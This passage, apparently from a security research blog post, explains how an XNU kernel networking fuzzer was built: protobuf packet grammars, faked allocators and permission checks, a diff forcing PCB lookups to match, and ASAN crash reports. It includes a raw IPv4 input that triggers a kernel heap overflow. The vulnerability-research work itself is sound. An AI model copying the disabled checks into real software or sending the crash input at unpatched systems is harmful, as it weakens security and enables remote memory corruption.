command.set_sock_opt().name();\n\nsize_t size = command.set_sock_opt().val().size();\n\nstd::unique_ptr<char[]> val(new char[size]);\n\nmemcpy(val.get(), command.set_sock_opt().val().data(), size);\n\nsetsockopt_wrapper(s, level, name, val.get(), size, nullptr);\n\nbreak;\n\n} \n \n--- \n \nWhile syscalls are typically a straightforward translation of the protobuf message, other commands are more complex. In order to improve the structure of randomly generated packets, I added custom message types that I then converted into the relevant on-the-wire structure before passing it into ip_input. Here\u2019s how this looks for TCP:\n\nmessage Packet {\n\noneof packet {\n\nTcpPacket tcp_packet = 1;\n\n}\n\n}\n\nmessage TcpPacket {\n\nrequired IpHdr ip_hdr = 1;\n\nrequired TcpHdr tcp_hdr = 2;\n\noptional bytes data = 3;\n\n}\n\nmessage IpHdr {\n\nrequired uint32 ip_hl = 1;\n\nrequired IpVersion ip_v = 2;\n\nrequired uint32 ip_tos = 3;\n\nrequired uint32 ip_len = 4;\n\nrequired uint32 ip_id = 5;\n\nrequired uint32 ip_off = 6;\n\nrequired uint32 ip_ttl = 7;\n\nrequired Protocol ip_p = 8;\n\nrequired InAddr ip_src = 9;\n\nrequired InAddr ip_dst = 10;\n\n}\n\nmessage TcpHdr {\n\nrequired Port th_sport = 1;\n\nrequired Port th_dport = 2;\n\nrequired TcpSeq th_seq = 3;\n\nrequired TcpSeq th_ack = 4;\n\nrequired uint32 th_off = 5;\n\nrepeated TcpFlag th_flags = 6;\n\nrequired uint32 th_win = 7;\n\nrequired uint32 th_sum = 8;\n\nrequired uint32 th_urp = 9;\n\n// Ned's extensions\n\nrequired bool is_pure_syn = 10;\n\nrequired bool is_pure_ack = 11;\n\n} \n \n--- \n \nUnfortunately, protobuf doesn\u2019t support a uint8 type, so I had to use uint32 for some fields. That\u2019s some lost fuzzing performance. You can also see some synthetic TCP header flags I added to make certain flag combinations more likely: is_pure_syn and is_pure_ack. Now I have to write some code to stitch together a valid packet from these nested fields. Shown below is the code to handle just the TCP header.\n\nstd::string get_tcp_hdr(const TcpHdr &hdr) {\n\nstruct tcphdr tcphdr = {\n\n.th_sport = (unsigned short)hdr.th_sport(),\n\n.th_dport = (unsigned short)hdr.th_dport(),\n\n.th_seq = __builtin_bswap32(hdr.th_seq()),\n\n.th_ack = __builtin_bswap32(hdr.th_ack()),\n\n.th_off = hdr.th_off(),\n\n.th_flags = 0,\n\n.th_win = (unsigned short)hdr.th_win(),\n\n.th_sum = 0, // TODO(nedwill): calculate the checksum instead of skipping it\n\n.th_urp = (unsigned short)hdr.th_urp(),\n\n};\n\nfor (const int flag : hdr.th_flags()) {\n\ntcphdr.th_flags ^= flag;\n\n}\n\n// Prefer pure syn\n\nif (hdr.is_pure_syn()) {\n\ntcphdr.th_flags &= ~(TH_RST | TH_ACK);\n\ntcphdr.th_flags |= TH_SYN;\n\n} else if (hdr.is_pure_ack()) {\n\ntcphdr.th_flags &= ~(TH_RST | TH_SYN);\n\ntcphdr.th_flags |= TH_ACK;\n\n}\n\nstd::string dat((char *)&tcphdr, (char *)&tcphdr + sizeof(tcphdr));\n\nreturn dat;\n\n} \n \n--- \n \n \nAs you can see, I make liberal use of a custom grammar to enable better quality fuzzing. These efforts are worth it, as randomizing high level structure is more efficient. It will also be easier for us to interpret crashing test cases later as they will have the same high level representation.\n\nHigh-Level Emulation\n\nNow that we have the code building and an initial fuzz target running, we begin the first pass at implementing all of the stubbed code that is reachable by our fuzz target. Because we have a fuzz target that builds and runs, we now get instant feedback about which functions our target hits. Some core functionality has to be supported before we can find any bugs, so the first attempt to run the fuzzer deserves its own development phase. For example, until dynamic memory allocation is supported, almost no kernel code we try to cover will work considering how heavily such code is used.\n\nWe\u2019ll be implementing our stubbed functions with fake variants that attempt to have the same semantics. For example, when testing code that uses an external database library, you could replace the database with a simple in-memory implementation. If you don\u2019t care about finding database bugs, this often makes fuzzing simpler and more robust. For some kernel subsystems unrelated to networking we can use entirely different or null implementations. This process is reminiscent of high-level emulation, an idea used in game console emulation. Rather than aiming to emulate hardware, you can try to preserve the semantics but use a custom implementation of the API. Because we only care about testing networking, this is how we approach faking subsystems in this project.\n\nI always start by looking at the original function implementation. If it\u2019s possible, I just link in that code as well. But some functionality isn\u2019t compatible with our fuzzer and must be faked. For example, zalloc should call the userland malloc since virtual memory is already managed by our host kernel and we have allocator facilities available. Similarly, copyin and copyout need to be faked as they no longer serve to copy data between user and kernel pages. Sometimes we also just \u201cnop\u201d out functionality that we don\u2019t care about. We\u2019ll cover these decisions in more detail later in the \u201cHigh-Level Emulation\u201d phase. Note that by implementing these stubs lazily whenever our fuzz target hits them, we immediately reduce the work in handling all the unrelated functions by an order of magnitude. It\u2019s easier to stay motivated when you only implement fakes for functions that are used by the target code. This approach successfully saved me a lot of time and I\u2019ve used it on subsequent projects as well. At the time of writing, I have 398 stubbed functions, about 250 functions that are trivially faked (return 0 or void functions that do nothing), and about 25 functions that I faked myself (almost all related to porting the memory allocation systems to userland).\n\n# Booting Up\n\nAs soon as we start running the fuzzer, we\u2019ll run into a snag: many resources require a one-time initialization that happens on boot. The BSD half of the kernel is mostly initialized by calling the bsd_init function. That function, in turn, calls several subsystem-specific initialization functions. Keeping with the theme of supporting a minimally necessary subset of the kernel, rather than call bsd_init, we create a new function that only initializes parts of the kernel as needed.\n\nHere\u2019s an example crash that occurs without the one time kernel bootup initialization:\n\n#7 0x7effbc464ad0 in zalloc /source/build3/../fuzz/zalloc.c:35:3\n\n#8 0x7effbb62eab4 in pipepair_alloc /source/build3/../bsd/kern/sys_pipe.c:634:24\n\n#9 0x7effbb62ded5 in pipe /source/build3/../bsd/kern/sys_pipe.c:425:10\n\n#10 0x7effbc4588ab in pipe_wrapper /source/build3/../fuzz/syscall_wrappers.c:216:10\n\n#11 0x4ee1a4 in TestOneProtoInput(Session const&) /source/build3/../fuzz/net_fuzzer.cc:979:19 \n \n--- \n \nOur zalloc implementation (covered in the next section) failed because the pipe zone wasn\u2019t yet initialized:\n\nstatic int\n\npipepair_alloc(struct pipe **rp_out, struct pipe **wp_out)\n\n{\n\nstruct pipepair *pp = zalloc(pipe_zone); \n \n--- \n \nScrolling up in sys_pipe.c, we see where that zone is initialized:\n\nvoid\n\npipeinit(void)\n\n{\n\nnbigpipe = 0;\n\nvm_size_t zone_size;\n\nzone_size = 8192 * sizeof(struct pipepair);\n\npipe_zone = zinit(sizeof(struct pipepair), zone_size, 4096, \"pipe zone\"); \n \n--- \n \nSure enough, this function is called by bsd_init. By adding that to our initial setup function the zone works as expected. After some development cycles spent supporting all the needed bsd_init function calls, we have the following:\n\n__attribute__((visibility(\"default\"))) bool initialize_network() {\n\nmcache_init();\n\nmbinit();\n\neventhandler_init();\n\npipeinit();\n\ndlil_init();\n\nsocketinit();\n\ndomaininit();\n\nloopattach();\n\nether_family_init();\n\ntcp_cc_init();\n\nnet_init_run();\n\nint res = necp_init();\n\nassert(!res);\n\nreturn true;\n\n} \n \n--- \n \n \nThe original bsd_init is 683 lines long, but our initialize_network clone is the preceding short snippet. I want to remark how cool I found it that you could \u201cboot\u201d a kernel like this and have everything work so long as you implemented all the relevant stubs. It just goes to show a surprising fact: a significant amount of kernel code is portable, and simple steps can be taken to make it testable. These codebases can be modernized without being fully rewritten. As this \u201cboot\u201d relies on dynamic allocation, let\u2019s look at how I implemented that next.\n\n# Dynamic Memory Allocation\n\nProviding a virtual memory abstraction is a fundamental goal of most kernels, but the good news is this is out of scope for this project (this is left as an exercise for the reader). Because networking already assumes working virtual memory, the network stack functions almost entirely on top of high-level allocator APIs. This makes the subsystem amenable to \u201chigh-level emulation\u201d. We can create a thin shim layer that intercepts XNU specific allocator calls and translates them to the relevant host APIs.\n\nIn practice, we have to handle three types of allocations for this project: \u201cclassic\u201d allocations (malloc/calloc/free), zone allocations (zalloc), and mbuf (memory buffers). The first two types are more fundamental allocation types used across XNU, while mbufs are a common data structure used in low-level networking code.\n\nThe zone allocator is reasonably complicated, but we use a simplified model for our purposes: we just track the size assigned to a zone when it is created and make sure we malloc that size when zalloc is later called using the initialized zone. This could undoubtedly be modeled better, but this initial model worked quite well for the types of bugs I was looking for. In practice, this simplification affects exploitability, but we aren\u2019t worried about that for a fuzzing project as we can assess that manually once we discover an issue. As you can see below, I created a custom zone type that simply stored the configured size, knowing that my zinit would return an opaque pointer that would be passed to my zalloc implementation, which could then use calloc to service the request. zfree simply freed the requested bytes and ignored the zone, as allocation sizes are tracked by the host malloc already.\n\nstruct zone {\n\nuintptr_t size;\n\n};\n\nstruct zone* zinit(uintptr_t size, uintptr_t max, uintptr_t alloc,\n\nconst char* name) {\n\nstruct zone* zone = (struct zone*)calloc(1, sizeof(struct zone));\n\nzone->size = size;\n\nreturn zone;\n\n}\n\nvoid* zalloc(struct zone* zone) {\n\nassert(zone != NULL);\n\nreturn calloc(1, zone->size);\n\n}\n\nvoid zfree(void* zone, void* dat) {\n\n(void)zone;\n\nfree(dat);\n\n} \n \n--- \n \nKalloc, kfree, and related functions were passed through to malloc and free as well. You can see fuzz/zalloc.c for their implementations. Mbufs (memory buffers) are more work to implement because they contain considerable metadata that is exposed to the \u201cclient\u201d networking code.\n\nstruct m_hdr {\n\nstruct mbuf *mh_next; /* next buffer in chain */\n\nstruct mbuf *mh_nextpkt; /* next chain in queue/record */\n\ncaddr_t mh_data; /* location of data */\n\nint32_t mh_len; /* amount of data in this mbuf */\n\nu_int16_t mh_type; /* type of data in this mbuf */\n\nu_int16_t mh_flags; /* flags; see below */\n\n};\n\n/*\n\n* The mbuf object\n\n*/\n\nstruct mbuf {\n\nstruct m_hdr m_hdr;\n\nunion {\n\nstruct {\n\nstruct pkthdr MH_pkthdr; /* M_PKTHDR set */\n\nunion {\n\nstruct m_ext MH_ext; /* M_EXT set */\n\nchar MH_databuf[_MHLEN];\n\n} MH_dat;\n\n} MH;\n\nchar M_databuf[_MLEN]; /* !M_PKTHDR, !M_EXT */\n\n} M_dat;\n\n}; \n \n--- \n \n \nI didn\u2019t include the pkthdr nor m_ext structure definitions, but they are nontrivial (you can see for yourself in bsd/sys/mbuf.h). A lot of trial and error was needed to create a simplified mbuf format that would work. In practice, I use an inline buffer when possible and, when necessary, locate the data in one large external buffer and set the M_EXT flag. As these allocations must be aligned, I use posix_memalign to create them, rather than malloc. Fortunately ASAN can help manage these allocations, so we can detect some bugs with this modification.\n\nTwo bugs I reported via the Project Zero tracker highlight the benefit of the heap-based mbuf implementation. In the [first report](<https://bugs.chromium.org/p/project-zero/issues/detail?id=1981>), I detected an mbuf double free using ASAN. While the m_free implementation tries to detect double frees by checking the state of the allocation, ASAN goes even further by quarantining recently freed allocations to detect the bug. In this case, it looks like the fuzzer would have found the bug either way, but it was impressive. The [second issue](<https://bugs.chromium.org/p/project-zero/issues/detail?id=1976>) linked is much subtler and requires some instrumentation to detect the bug, as it is a use after free read of an mbuf:\n\n==22568==ERROR: AddressSanitizer: heap-use-after-free on address 0x61500026afe5 at pc 0x7ff60f95cace bp 0x7ffd4d5617b0 sp 0x7ffd4d5617a8\n\nREAD of size 1 at 0x61500026afe5 thread T0\n\n#0 0x7ff60f95cacd in tcp_input bsd/netinet/tcp_input.c:5029:25\n\n#1 0x7ff60f949321 in tcp6_input bsd/netinet/tcp_input.c:1062:2\n\n#2 0x7ff60fa9263c in ip6_input bsd/netinet6/ip6_input.c:1277:10\n\n0x61500026afe5 is located 229 bytes inside of 256-byte region [0x61500026af00,0x61500026b000)\n\nfreed by thread T0 here:\n\n#0 0x4a158d in free /b/swarming/w/ir/cache/builder/src/third_party/llvm/compiler-rt/lib/asan/asan_malloc_linux.cpp:123:3\n\n#1 0x7ff60fb7444d in m_free fuzz/zalloc.c:220:3\n\n#2 0x7ff60f4e3527 in m_freem bsd/kern/uipc_mbuf.c:4842:7\n\n#3 0x7ff60f5334c9 in sbappendstream_rcvdemux bsd/kern/uipc_socket2.c:1472:3\n\n#4 0x7ff60f95821d in tcp_input bsd/netinet/tcp_input.c:5019:8\n\n#5 0x7ff60f949321 in tcp6_input bsd/netinet/tcp_input.c:1062:2\n\n#6 0x7ff60fa9263c in ip6_input bsd/netinet6/ip6_input.c:1277:10 \n \n--- \n \n \nApple managed to catch this issue before I reported it, fixing it in iOS 13. I believe Apple has added some internal hardening or testing for mbufs that caught this bug. It could be anything from a hardened mbuf allocator like [GWP-ASAN](<https://llvm.org/docs/GwpAsan.html>), to an internal ARM MTE test, to simple auditing, but it was really cool to see this issue detected in this way, and also that Apple was proactive enough to find this themselves.\n\n# Accessing User Memory\n\nWhen talking about this project with a fellow attendee at a fuzzing conference, their biggest question was how I handled user memory access. Kernels are never supposed to trust pointers provided by user-space, so whenever the kernel wants to access memory-mapped in userspace, it goes through intermediate functions copyin and copyout. By replacing these functions with our fake implementations, we can supply fuzzer-provided input to the tested code. The real kernel would have done the relevant copies from user to kernel pages. Because these copies are driven by the target code and not our testcase, I added a buffer in the protobuf specification to be used to service these requests.\n\nHere\u2019s a backtrace from our stub before we implement `copyin`. As you can see, when calling the `recvfrom` syscall, our fuzzer passed in a pointer as an argument.\n\n#6 0x7fe1176952f3 in Assert /source/build3/../fuzz/stubs.c:21:3\n\n#7 0x7fe11769a110 in copyin /source/build3/../fuzz/fake_impls.c:408:3\n\n#8 0x7fe116951a18 in __copyin_chk /source/build3/../bsd/libkern/copyio.h:47:9\n\n#9 0x7fe116951a18 in recvfrom_nocancel /source/build3/../bsd/kern/uipc_syscalls.c:2056:11\n\n#10 0x7fe117691a86 in recvfrom_nocancel_wrapper /source/build3/../fuzz/syscall_wrappers.c:244:10\n\n#11 0x4e933a in TestOneProtoInput(Session const&) /source/build3/../fuzz/net_fuzzer.cc:936:9\n\n#12 0x4e43b8 in LLVMFuzzerTestOneInput /source/build3/../fuzz/net_fuzzer.cc:631:1 \n \n--- \n \nI\u2019ve extended the copyin specification with my fuzzer-specific semantics: when the pointer (void*)1 is passed as an address, we interpret this as a request to fetch arbitrary bytes. Otherwise, we copy directly from that virtual memory address. This way, we can begin by passing (void*)1 everywhere in the fuzz target to get as much cheap coverage as possible. Later, as we want to construct well-formed data to pass into syscalls, we build the data in the protobuf test case handler and pass a real pointer to it, allowing it to be copied. This flexibility saves us time while permitting the construction of highly-structured data inputs as we see fit.\n\nint __attribute__((warn_unused_result))\n\ncopyin(void* user_addr, void* kernel_addr, size_t nbytes) {\n\n// Address 1 means use fuzzed bytes, otherwise use real bytes.\n\n// NOTE: this does not support nested useraddr.\n\nif (user_addr != (void*)1) {\n\nmemcpy(kernel_addr, user_addr, nbytes);\n\nreturn 0;\n\n}\n\nif (get_fuzzed_bool()) {\n\nreturn -1;\n\n}\n\nget_fuzzed_bytes(kernel_addr, nbytes);\n\nreturn 0;\n\n} \n \n--- \n \nCopyout is designed similarly. We often don\u2019t care about the data copied out; we just care about the safety of the accesses. For that reason, we make sure to memcpy from the source buffer in all cases, using a temporary buffer when a copy to (void*)1 occurs. If the kernel copies out of bounds or from freed memory, for example, ASAN will catch it and inform us about a memory disclosure vulnerability.\n\n# Synchronization and Threads\n\nAmong the many changes made to XNU\u2019s behavior to support this project, perhaps the most extensive and invasive are the changes I made to the synchronization and threading model. Before beginning this project, I had spent over a year working on Chrome browser process research, where high level \u201csequences\u201d are [preferred to using physical threads](<https://chromium.googlesource.com/chromium/src/+/master/docs/threading_and_tasks.md#prefer-sequences-to-physical-threads>). Despite a paucity of data races, Chrome still had sequence-related bugs that were triggered by randomly servicing some of the pending work in between performing synchronous IPC calls. In an exploit for a bug found by the [AppCache fuzzer](<https://source.chromium.org/chromium/chromium/src/+/master:content/browser/appcache/appcache_fuzzer.cc;l=275;drc=db9ae7941adc1d95c943accce9e0151d265fd640>), sleep calls were needed to get the asynchronous work to be completed before queueing up some more work synchronously. So I already knew that asynchronous continuation-passing style concurrency could have exploitable bugs that are easy to discover with this fuzzing approach.\n\nI suspected I could find similar bugs if I used a similar model for sockfuzzer. Because XNU uses multiple kernel threads in its networking stack, I would have to port it to a cooperative style. To do this, I provided no-op implementations for all of the thread management functions and sync primitives, and instead randomly called the work functions that would have been called by the real threads. This involved modifying code: most worker threads run in a loop, processing new work as it comes in. I modified these infinitely looping helper functions to do one iteration of work and exposed them to the fuzzer frontend. Then I called them randomly as part of the protobuf message. The main benefit of doing the project this way was improved performance and determinism. Places where the kernel could block the fuzzer were modified to return early. Overall, it was a lot simpler and easier to manage a single-threaded process. But this decision did not end up yielding as many bugs as I had hoped. For example, I suspected that interleaving garbage collection of various network-related structures with syscalls would be more effective. It did achieve the goal of removing threading-related headaches from deploying the fuzzer, but this is a serious weakness that I would like to address in future fuzzer revisions.\n\n# Randomness\n\nRandomness is another service provided by kernels to userland (e.g. /dev/random) and in-kernel services requiring it. This is easy to emulate: we can just return as many bytes as were requested from the current test case\u2019s data_provider field.\n\n# Authentication\n\nXNU features some mechanisms (KAuth, mac checks, user checks) to determine whether a given syscall is permissible. Because of the importance and relative rarity of bugs in XNU, and my willingness to triage false positives, I decided to allow all actions by default. For example, the TCP multipath code requires a special entitlement, but disabling this functionality precludes us from finding Ian\u2019s multipath vulnerability. Rather than fuzz only code accessible inside the app sandbox, I figured I would just triage whatever comes up and report it with the appropriate severity in mind.\n\nFor example, when we create a socket, the kernel checks whether the running process is allowed to make a socket of the given domain, type, and protocol provided their KAuth credentials:\n\nstatic int\n\nsocket_common(struct proc *p,\n\nint domain,\n\nint type,\n\nint protocol,\n\npid_t epid,\n\nint32_t *retval,\n\nint delegate)\n\n{\n\nstruct socket *so;\n\nstruct fileproc *fp;\n\nint fd, error;\n\nAUDIT_ARG(socket, domain, type, protocol);\n\n#if CONFIG_MACF_SOCKET_SUBSET\n\nif ((error = mac_socket_check_create(kauth_cred_get(), domain,\n\ntype, protocol)) != 0) {\n\nreturn error;\n\n}\n\n#endif /* MAC_SOCKET_SUBSET */ \n \n--- \n \nWhen we reach this function in our fuzzer, we trigger an assert crash as this functionality was stubbed.\n\n#6 0x7f58f49b53f3 in Assert /source/build3/../fuzz/stubs.c:21:3\n\n#7 0x7f58f49ba070 in kauth_cred_get /source/build3/../fuzz/fake_impls.c:272:3\n\n#8 0x7f58f3c70889 in socket_common /source/build3/../bsd/kern/uipc_syscalls.c:242:39\n\n#9 0x7f58f3c7043a in socket /source/build3/../bsd/kern/uipc_syscalls.c:214:9\n\n#10 0x7f58f49b45e3 in socket_wrapper /source/build3/../fuzz/syscall_wrappers.c:371:10\n\n#11 0x4e8598 in TestOneProtoInput(Session const&) /source/build3/../fuzz/net_fuzzer.cc:655:19 \n \n--- \n \nNow, we need to implement kauth_cred_get. In this case, we return a (void*)1 pointer so that NULL checks on the value will pass (and if it turns out we need to model this correctly, we\u2019ll crash again when the pointer is used).\n\nvoid* kauth_cred_get() {\n\nreturn (void*)1;\n\n} \n \n--- \n \nNow we crash actually checking the KAuth permissions. \n\n\n#6 0x7fbe9219a3f3 in Assert /source/build3/../fuzz/stubs.c:21:3\n\n#7 0x7fbe9219f100 in mac_socket_check_create /source/build3/../fuzz/fake_impls.c:312:33\n\n#8 0x7fbe914558a3 in socket_common /source/build3/../bsd/kern/uipc_syscalls.c:242:15\n\n#9 0x7fbe9145543a in socket /source/build3/../bsd/kern/uipc_syscalls.c:214:9\n\n#10 0x7fbe921995e3 in socket_wrapper /source/build3/../fuzz/syscall_wrappers.c:371:10\n\n#11 0x4e8598 in TestOneProtoInput(Session const&) /source/build3/../fuzz/net_fuzzer.cc:655:19\n\n#12 0x4e76c2 in LLVMFuzzerTestOneInput /source/build3/../fuzz/net_fuzzer.cc:631:1 \n \n--- \n \nNow we simply return 0 and move on.\n\nint mac_socket_check_create() { return 0; } \n \n--- \n \nAs you can see, we don\u2019t always need to do a lot of work to fake functionality. We can opt for a much simpler model that still gets us the results we want. \n\n\nCoverage Guided Development\n\nWe\u2019ve paid a sizable initial cost to implement this fuzz target, but we\u2019re now entering the longest and most fun stage of the project: iterating and maintaining the fuzzer. We begin by running the fuzzer continuously (in my case, I ensured it could run on ClusterFuzz). A day of work then consists of fetching the latest corpus, running a clang-coverage visualization pass over it, and viewing the report. While initially most of the work involved fixing assertion failures to get the fuzzer working, we now look for silent implementation deficiencies only visible in the coverage reports. A snippet from the report looks like the following:\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjypy5nffIIMxqcIAkEku-SJldrsLbyXhU-th0AbxjTCf8e8hM-L4hpsxAJUbibDeaTMsiHpirbmlNqKqSa3eIdd1bJYm9HtfDoVTNbItsbu7xdZDq5gG9eK5l8qHEblS7LoyglGzTqzn_1l5XXNIBf9YOdT2JiJ2_6wiE9_Yd7KrDaM-MhERHw4myg/s658/image4.png>)\n\nThis excerpt from IP option handling shows that we don\u2019t support the various packets well with the current version of the fuzzer and grammar. Having this visualization is enormously helpful and necessary to succeed, as it is a source of truth about your fuzz target. By directing development work around these reports, it\u2019s relatively easy to plan actionable and high-value tasks around the fuzzer.\n\nI like to think about improving a fuzz target by either improving \u201csoundness\u201d or \u201ccompleteness.\u201d Logicians probably wouldn\u2019t be happy with how I\u2019m loosely using these terms, but they are a good metaphor for the task. To start with, we can improve the completeness of a given fuzz target by helping it reach code that we know to be reachable based on manual review. In the above example, I would suspect very strongly that the uncovered option handling code is reachable. But despite a long fuzzing campaign, these lines are uncovered, and therefore our fuzz target is incomplete, somehow unable to generate inputs reaching these lines. There are two ways to get this needed coverage: in a top-down or bottom-up fashion. Each has its tradeoffs. The top-down way to cover this code is to improve the existing grammar or C++ code to make it possible or more likely. The bottom-up way is to modify the code in question. For example, we could replace switch (opt) with something like switch (global_fuzzed_data->ConsumeRandomEnum(valid_enums). This bottom-up approach introduces unsoundness, as maybe these enums could never have been selected at this point. But this approach has often led to interesting-looking crashes that encouraged me to revert the change and proceed with the more expensive top-down implementation. When it\u2019s one researcher working against potentially hundreds of thousands of lines, you need tricks to prioritize your work. By placing many cheap bets, you can revert later for free and focus on the most fruitful areas.\n\nImproving soundness is the other side of the coin here. I\u2019ve just mentioned reverting unsound changes and moving those changes out of the target code and into the grammar. But our fake objects are also simple models for how their real implementations behave. If those models are too simple or directly inaccurate, we may either miss bugs or introduce them. I\u2019m comfortable missing some bugs as I think these simple fakes enable better coverage, and it\u2019s a net win. But sometimes, I\u2019ll observe a crash or failure to cover some code because of a faulty model. So improvements can often come in the form of making these fakes better.\n\nAll in all, there is plenty of work that can be done at any given point. Fuzzing isn\u2019t an all or nothing one-shot endeavor for large targets like this. This is a continuous process, and as time goes on, easy gains become harder to achieve as most bugs detectable with this approach are found, and eventually, there comes a natural stopping point. But despite working on this project for several months, it\u2019s remarkably far from the finish line despite producing several useful bug reports. The cool thing about fuzzing in this way is that it is a bit like excavating a fossil. Each target is different; we make small changes to the fuzzer, tapping away at the target with a chisel each day and letting our coverage metrics, not our biases, reveal the path forward.\n\n# Packet Delivery\n\nI\u2019d like to cover one example to demonstrate the value of the \u201cbottom-up\u201d unsound modification, as in some cases, the unsound modification is dramatically cheaper than the grammar-based one. Disabling hash checks is a well-known fuzzer-only modification when fuzzer-authors know that checksums could be trivially generated by hand. But it can also be applied in other places, such as packet delivery.\n\nWhen an mbuf containing a TCP packet arrives, it is handled by tcp_input. In order for almost anything meaningful to occur with this packet, it must be matched by IP address and port to an existing process control block (PCB) for that connection, as seen below.\n\nvoid\n\ntcp_input(struct mbuf *m, int off0)\n\n{\n\n// ...\n\nif (isipv6) {\n\ninp = in6_pcblookup_hash(&tcbinfo, &ip6->ip6_src, th->th_sport,\n\n&ip6->ip6_dst, th->th_dport, 1,\n\nm->m_pkthdr.rcvif);\n\n} else\n\n#endif /* INET6 */\n\ninp = in_pcblookup_hash(&tcbinfo, ip->ip_src, th->th_sport,\n\nip->ip_dst, th->th_dport, 1, m->m_pkthdr.rcvif); \n \n--- \n \nHere\u2019s the IPv4 lookup code. Note that faddr, fport_arg, laddr, and lport_arg are all taken directly from the packet and are checked against the list of PCBs, one at a time. This means that we must guess two 4-byte integers and two 2-byte shorts to match the packet to the relevant PCB. Even coverage-guided fuzzing is going to have a hard time guessing its way through these comparisons. While eventually a match will be found, we can radically improve the odds of covering meaningful code by just flipping a coin instead of doing the comparisons. This change is extremely easy to make, as we can fetch a random boolean from the fuzzer at runtime. Looking up existing PCBs and fixing up the IP/TCP headers before sending the packets is a sounder solution, but in my testing this change didn\u2019t introduce any regressions. Now when a vulnerability is discovered, it\u2019s just a matter of fixing up headers to match packets to the appropriate PCB. That\u2019s light work for a vulnerability researcher looking for a remote memory corruption bug.\n\n/*\n\n* Lookup PCB in hash list.\n\n*/\n\nstruct inpcb *\n\nin_pcblookup_hash(struct inpcbinfo *pcbinfo, struct in_addr faddr,\n\nu_int fport_arg, struct in_addr laddr, u_int lport_arg, int wildcard,\n\nstruct ifnet *ifp)\n\n{\n\n// ...\n\nhead = &pcbinfo->ipi_hashbase[INP_PCBHASH(faddr.s_addr, lport, fport,\n\npcbinfo->ipi_hashmask)];\n\nLIST_FOREACH(inp, head, inp_hash) {\n\n- if (inp->inp_faddr.s_addr == faddr.s_addr &&\n\n- inp->inp_laddr.s_addr == laddr.s_addr &&\n\n- inp->inp_fport == fport &&\n\n- inp->inp_lport == lport) {\n\n+ if (!get_fuzzed_bool()) {\n\nif (in_pcb_checkstate(inp, WNT_ACQUIRE, 0) !=\n\nWNT_STOPUSING) {\n\nlck_rw_done(pcbinfo->ipi_lock);\n\nreturn inp; \n \n--- \n \n \nAstute readers may have noticed that the PCBs are fetched from a hash table, so it\u2019s not enough just to replace the check. The 4 values used in the linear search are used to calculate a PCB hash, so we have to make sure all PCBs share a single bucket, as seen in the diff below. The real kernel shouldn\u2019t do this as lookups become O(n), but we only create a few sockets, so it\u2019s acceptable.\n\ndiff \\--git a/bsd/netinet/in_pcb.h b/bsd/netinet/in_pcb.h\n\nindex a5ec42ab..37f6ee50 100644\n\n\\--- a/bsd/netinet/in_pcb.h\n\n+++ b/bsd/netinet/in_pcb.h\n\n@@ -611,10 +611,9 @@ struct inpcbinfo {\n\nu_int32_t ipi_flags;\n\n};\n\n-#define INP_PCBHASH(faddr, lport, fport, mask) \\\n\n- (((faddr) ^ ((faddr) >> 16) ^ ntohs((lport) ^ (fport))) & (mask))\n\n-#define INP_PCBPORTHASH(lport, mask) \\\n\n- (ntohs((lport)) & (mask))\n\n+// nedwill: let all pcbs share the same hash\n\n+#define INP_PCBHASH(faddr, lport, fport, mask) (0)\n\n+#define INP_PCBPORTHASH(lport, mask) (0)\n\n#define INP_IS_FLOW_CONTROLLED(_inp_) \\\n\n((_inp_)->inp_flags & INP_FLOW_CONTROLLED) \n \n--- \n \nChecking Our Work: Reproducing the Sample Bugs\n\nWith most of the necessary supporting code implemented, we can fuzz for a while without hitting any assertions due to unimplemented stubbed functions. At this stage, I reverted the fixes for the two inspiration bugs I mentioned at the beginning of this article. Here\u2019s what we see shortly after we run the fuzzer with those fixes reverted: \n\n\n==1633983==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x61d00029f474 at pc 0x00000049fcb7 bp 0x7ffcddc88590 sp 0x7ffcddc87d58\n\nWRITE of size 20 at 0x61d00029f474 thread T0\n\n#0 0x49fcb6 in __asan_memmove /b/s/w/ir/cache/builder/src/third_party/llvm/compiler-rt/lib/asan/asan_interceptors_memintrinsics.cpp:30:3\n\n#1 0x7ff64bd83bd9 in __asan_bcopy fuzz/san.c:37:3\n\n#2 0x7ff64ba9e62f in icmp_error bsd/netinet/ip_icmp.c:362:2\n\n#3 0x7ff64baaff9b in ip_dooptions bsd/netinet/ip_input.c:3577:2\n\n#4 0x7ff64baa921b in ip_input bsd/netinet/ip_input.c:2230:34\n\n#5 0x7ff64bd7d440 in ip_input_wrapper fuzz/backend.c:132:3\n\n#6 0x4dbe29 in DoIpInput fuzz/net_fuzzer.cc:610:7\n\n#7 0x4de0ef in TestOneProtoInput(Session const&) fuzz/net_fuzzer.cc:720:9\n\n0x61d00029f474 is located 12 bytes to the left of 2048-byte region [0x61d00029f480,0x61d00029fc80)\n\nallocated by thread T0 here:\n\n#0 0x4a0479 in calloc /b/s/w/ir/cache/builder/src/third_party/llvm/compiler-rt/lib/asan/asan_malloc_linux.cpp:154:3\n\n#1 0x7ff64bd82b20 in mbuf_create fuzz/zalloc.c:157:45\n\n#2 0x7ff64bd8319e in mcache_alloc fuzz/zalloc.c:187:12\n\n#3 0x7ff64b69ae84 in m_getcl bsd/kern/uipc_mbuf.c:3962:6\n\n#4 0x7ff64ba9e15c in icmp_error bsd/netinet/ip_icmp.c:296:7\n\n#5 0x7ff64baaff9b in ip_dooptions bsd/netinet/ip_input.c:3577:2\n\n#6 0x7ff64baa921b in ip_input bsd/netinet/ip_input.c:2230:34\n\n#7 0x7ff64bd7d440 in ip_input_wrapper fuzz/backend.c:132:3\n\n#8 0x4dbe29 in DoIpInput fuzz/net_fuzzer.cc:610:7\n\n#9 0x4de0ef in TestOneProtoInput(Session const&) fuzz/net_fuzzer.cc:720:9 \n \n--- \n \nWhen we inspect the test case, we see that a single raw IPv4 packet was generated to trigger this bug. This is to be expected, as the bug doesn\u2019t require an existing connection, and looking at the stack, we can see that the test case triggered the bug in the IPv4-specific ip_input path.\n\ncommands {\n\nip_input {\n\nraw_ip4: \"M\\001\\000I\\001\\000\\000\\000\\000\\000\\000\\000III\\333\\333\\333\\333\\333\\333\\333\\333\\333\\333IIIIIIIIIIIIII\\000\\000\\000\\000\\000III\\333\\333\\333\\333\\333\\333\\333\\333\\333\\333\\333\\333IIIIIIIIIIIIII\"\n\n}\n\n}\n\ndata_provider: \"\" \n \n--- \n \n \nIf we fix that issue and fuzz a bit longer, we soon see another crash, this time in the MPTCP stack. This is Ian\u2019s MPTCP vulnerability. The ASAN report looks strange though. Why is it crashing during garbage collection in mptcp_session_destroy? The original vulnerability 